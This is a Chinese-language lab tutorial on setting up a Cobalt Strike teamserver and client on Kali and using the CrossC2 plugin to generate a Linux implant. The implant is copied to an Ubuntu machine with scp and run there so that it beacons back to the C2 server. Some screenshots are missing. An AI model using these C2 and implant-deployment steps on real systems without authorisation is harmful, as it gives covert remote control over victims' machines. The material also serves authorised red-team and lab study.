实验操作均在本地靶机内操作,据网络安全法,作者不对因阅读、理解、误用或滥用本文内容而导致的任何直接、间接、附带或后果性损害承担责任。
1、CobaltStrike搭建
上传CS到kali并解压,进入CS工作目录:

切换到服务端目录,对teamserver,TeamServerImage添加执行权限:
chmod +x teamserver TeamServerImage

启动服务端:
./teamserver 192.168.124.66 123456

当用户通过 Cobalt Strike 客户端连接团队服务器时,首次连接会弹出提示框,显示服务器 SSL 证书的 SHA256 哈希值。
切换到客户端目录,对客户端启动脚本添加执行权限并启动客户端:
chmod +x start.sh
./start.sh

进行证书校验,然后进入:

2、使用 CrossC2 上线 Linux
Cobalt Strike 只支持对 windows 系统的渗透,通过 CrossC2 可以让 Cobalt Strike 支持对 linux
系统的渗透。
切换到 genCrossC2 文件目录,添加执行权限:
cd ~/CobaltStrike4.9.1/CobaltStrike4.9.1_Server
chmod +x genCrossC2.Linux
修改第三行路径为 Cobalt Strike 服务端所在目录,路径末尾需要手动添加一个/:
vim CrossC2-GithubBot-2023-11-20.cna

然后保存之后导入插件:


注意插件仅支持 HTTPS 和正向 TCP,创建侦听器:

在创建创建 CrossC2 侦听,其实就是该侦听接收来自Linux的通信,再转发给CS侦听:


复制生成命令,到Cobalt Strike 服务端所在目录执行命令生成二进制文件:


上线测试,将生成的 linux 木马复制到 ubuntu:
scp /tmp/t_cc2.out ubuntu@192.168.124.10:/home/ubuntu/
在 ubuntu 执行木马:
./t_cc2.out


会发现CS卡住了,在客户端./start.sh运行的终端 Ctrl + C 终止,再次运行客户端即可。

后续可以进行提权等操作。